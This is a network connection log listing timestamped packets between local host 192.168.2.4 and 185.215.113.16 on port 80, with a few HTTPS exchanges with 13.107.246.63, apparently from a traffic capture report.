Nov 22, 2024 04:12:28.984926939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.984975100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.985022068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.985069990 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.985766888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.985821009 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.985862970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.985909939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.986630917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.986680031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.986727953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.986777067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.987503052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.987612009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.987658978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.988353014 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.988399982 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.988408089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.988455057 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.989247084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.989325047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.989362001 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.989408016 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.990077972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.990123034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.990247011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.990292072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.990942955 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.990998030 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.991040945 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.991811991 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.991864920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.991914034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.991962910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.992675066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.992724895 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.992809057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.992856979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.993547916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.993597031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.993660927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.993709087 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.994402885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.994515896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.994581938 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.995270014 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.995390892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.995450974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.996121883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.996171951 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.996260881 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.996309042 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.997005939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.997056007 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.997092962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.997155905 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.997844934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.997891903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.997934103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.997982979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.998723030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.998769999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.998838902 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.998881102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:28.999593019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.999686003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:28.999739885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.156172037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.156407118 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.156461954 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.156461954 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.156565905 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.156611919 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.156656981 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.157419920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.157459974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.157531977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.157572985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.158277035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.158317089 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.158377886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.158413887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.159138918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.159259081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.159296989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.160017967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.160067081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.160110950 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.160151005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.160866976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.160918951 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.160959959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.161022902 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.161731005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.161782980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.161820889 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.162605047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.162652969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.162719011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.162791014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.163491011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.163532019 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.163655996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.163703918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.164319038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.164385080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.164421082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.164458990 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.165195942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.165234089 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.165308952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.165348053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.166069984 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.166124105 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.166215897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.166259050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.166912079 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.166965008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.167007923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.167047977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.167774916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.167857885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.167893887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.167943954 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.168637037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.168678045 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.168741941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.168787956 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.169513941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.169631004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.169677019 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.170377016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.170428038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.170519114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.170561075 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.171242952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.171375990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.171417952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.172101021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.172144890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.172184944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.172229052 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.172967911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.173024893 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.173068047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.173120975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.173832893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.173880100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.173923016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.173993111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.174679995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.174731016 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.174772024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.174812078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.175550938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.175599098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.175641060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.175683975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.176409960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.176454067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.176539898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.176583052 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.177304029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.177403927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.177443027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.178143978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.178185940 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.178229094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.178270102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.178982019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.179023027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.179099083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.179759026 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.179922104 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.179966927 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.180053949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.180100918 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.180742979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.180823088 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.180859089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.180897951 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.181613922 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.181670904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.181735039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.181773901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.182462931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.182513952 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.182579041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.182670116 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.183342934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.183444977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.183486938 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.184176922 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.184225082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.184262991 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.184299946 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.185046911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.185103893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.185122967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.185146093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.185915947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.185956955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.186023951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.186064005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.186770916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.186810970 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.186885118 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.186923027 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.187036037 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.187627077 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.187673092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.187741995 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.187782049 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.188086033 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.188146114 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.188529968 CET	49803	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.188546896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.188548088 CET	443	49803	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.188591003 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.188713074 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.189054012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.189374924 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.189472914 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.189519882 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.190257072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.190310955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.190397978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.190438032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.191108942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.191185951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.191232920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.191956043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.192002058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.192047119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.192231894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.192816019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.192867041 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.192950964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.193002939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.193682909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.193733931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.193778038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.193821907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.194560051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.194605112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.194669008 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.194709063 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.195411921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.195468903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.195506096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.195544958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.196295023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.196383953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.196408033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.196453094 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.197128057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.197170973 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.197231054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.197271109 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.198000908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.198048115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.198110104 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.198146105 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.198841095 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.198892117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.198940039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.198985100 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.199728966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.199832916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.199877977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.200576067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.200619936 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.200685024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.200727940 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.201416969 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.201472998 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.205055952 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.205368042 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.205379963 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.205753088 CET	49797	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.205759048 CET	443	49797	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.319513083 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.323467970 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.323520899 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.323878050 CET	49805	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:29.323892117 CET	443	49805	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:29.357408047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.357528925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.357584953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.357789993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.357836962 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.357909918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.357952118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.358669043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.358711958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.358788967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.358829975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.359514952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.359641075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.359683990 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.360368967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.360413074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.360528946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.360569954 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.361229897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.361268997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.361332893 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.361376047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.362107038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.362153053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.362204075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.362247944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.362977982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.363020897 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.363096952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.363857985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.363902092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.363919973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.363960028 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.364729881 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.364773989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.364834070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.364873886 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.365570068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.365611076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.365670919 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.365725994 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.366417885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.366460085 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.366535902 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.366576910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.367269993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.367400885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.367440939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.368145943 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.368187904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.368241072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.368283987 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:29.369000912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:29.369045973 CET	49798	80	192.168.2.4	185.215.113.16
